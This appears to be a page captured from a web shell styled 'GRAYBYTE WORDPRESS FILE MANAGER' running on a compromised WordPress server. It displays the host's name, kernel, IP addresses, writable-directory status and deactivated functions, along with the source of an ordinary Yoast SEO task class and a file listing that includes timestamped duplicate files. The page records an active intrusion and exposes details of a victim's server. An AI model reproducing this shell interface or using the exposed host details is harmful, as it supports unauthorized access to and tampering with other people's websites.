✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.7
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/envhttps/tasks//set-search-appearance-templates.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Task_List\Application\Tasks;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Route_Helper;
use Yoast\WP\SEO\Task_List\Domain\Components\Call_To_Action_Entry;
use Yoast\WP\SEO\Task_List\Domain\Components\Copy_Set;
use Yoast\WP\SEO\Task_List\Domain\Tasks\Abstract_Post_Type_Task;

/**
 * Represents the task for setting search appearance templates.
 */
class Set_Search_Appearance_Templates extends Abstract_Post_Type_Task {

	/**
	 * Holds the id.
	 *
	 * @var string
	 */
	protected $id = 'set-search-appearance-templates';

	/**
	 * Holds the priority.
	 *
	 * @var string
	 */
	protected $priority = 'high';

	/**
	 * Holds the duration.
	 *
	 * @var int
	 */
	protected $duration = 10;

	/**
	 * Holds the post type.
	 *
	 * @var string
	 */
	protected $post_type;

	/**
	 * Holds the options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Holds the route helper.
	 *
	 * @var Route_Helper
	 */
	private $route_helper;

	/**
	 * Constructs the task.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 * @param Route_Helper   $route_helper   The route helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Route_Helper $route_helper
	) {
		$this->options_helper = $options_helper;
		$this->route_helper   = $route_helper;
	}

	/**
	 * Returns whether this task is completed.
	 *
	 * @return bool Whether this task is completed.
	 */
	public function get_is_completed(): bool {
		$post_type = \get_post_type_object( $this->get_post_type() );

		// First check if the SEO title has been customized.
		if ( $this->options_helper->get_title_default( 'title-' . $post_type->name ) !== $this->options_helper->get( 'title-' . $post_type->name ) ) {
			return true;
		}

		// Then check if the meta description has been customized.
		if ( $this->options_helper->get_title_default( 'metadesc-' . $post_type->name ) !== $this->options_helper->get( 'metadesc-' . $post_type->name ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Returns the task's link.
	 *
	 * @return string|null
	 */
	public function get_link(): ?string {
		$post_type = \get_post_type_object( $this->get_post_type() );
		$link      = \sprintf(
			'admin.php?page=wpseo_page_settings#/post-type/%s',
			$this->route_helper->get_route( $post_type->name, $post_type->rewrite, $post_type->rest_base ),
		);

		return \self_admin_url( $link );
	}

	/**
	 * Returns the task's call to action entry.
	 *
	 * @return Call_To_Action_Entry|null
	 */
	public function get_call_to_action(): ?Call_To_Action_Entry {
		return new Call_To_Action_Entry(
			\__( 'Set search templates', 'wordpress-seo' ),
			'link',
			$this->get_link(),
		);
	}

	/**
	 * Returns the task's copy set.
	 *
	 * @return string|null
	 */
	public function get_copy_set(): Copy_Set {
		$post_type = \get_post_type_object( $this->get_post_type() );

		return new Copy_Set(
			/* translators: %1$s expands to the post type label this task is about */
			\sprintf( \__( 'Set search appearance templates for your content type: %1$s', 'wordpress-seo' ), $post_type->label ),
			/* translators: %s expands to the post type name this task is about */
			'<p>' . \sprintf( \__( 'Generic titles and descriptions make your results unclear in search. Templates ensure every %s has a clear, click-worthy snippet automatically. Go to Search appearance, choose your post type, and set default title and meta description patterns.', 'wordpress-seo' ), $post_type->name ) . '</p>',
		);
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
21 Sep 2026 2.32 AM
docteuh / users
0755
AuthHandler
--
13 Sep 2026 6.25 PM
docteuh / users
0755
Exception
--
16 Sep 2026 10.23 AM
docteuh / users
0755
Middleware
--
10 Sep 2026 7.20 PM
docteuh / users
0755
apiclient
--
13 Sep 2026 5.03 PM
docteuh / users
0755
builders
--
13 Sep 2026 3.24 PM
docteuh / users
0755
child-tasks
--
13 Sep 2026 5.04 PM
docteuh / users
0755
content-type-visibility
--
9 Sep 2026 4.11 PM
docteuh / users
0755
images
--
15 Sep 2026 7.08 PM
docteuh / users
0755
inlite
--
13 Sep 2026 2.39 PM
docteuh / users
0755
animations.css
13.106 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
compatibility.php
2.142 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
complete-ftc-20260912150220.php
2.324 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
complete-ftc.php
2.324 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
contactform7.min.css
3.938 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
create-new-content.php
2.66 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
delete-hello-world.php
2.834 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
delete-sample-page-20260912080554.php
2.787 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
enable-llms-txt.php
2.648 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
events-calendar.css
54.286 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
gravityforms.css
8.189 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
gravityforms.min-20260913105817.css
7.403 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
gravityforms.min.css
7.403 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103038-20260829114745.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103054-20260829114739.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225-20260829230601.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225-20260901091205-20260901155800.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ilightbox.css
47.553 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
ilightbox.min-20260913145438.css
41.193 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
improve-content-readability-20260831033237.php
5.158 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
improve-content-readability.php
5.158 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
improve-content-seo.php
5.24 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
improve-default-meta-descriptions.php
5.185 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loader.php
6.886 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
max-1c.css
1.081 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
max-main.min.css
0.569 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
really-simple-ssl-it_IT.l10n.php
131.164 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
really-simple-ssl-nl_NL.l10n.php
128.326 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
recent-content-task-trait.php
0.492 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-aggregator-response-composer.php
0.868 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
scrollbar.css
0.362 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
search.css
1.327 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
set-search-appearance-templates.php
3.541 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
uninstall.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
wpml.min.css
2.376 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF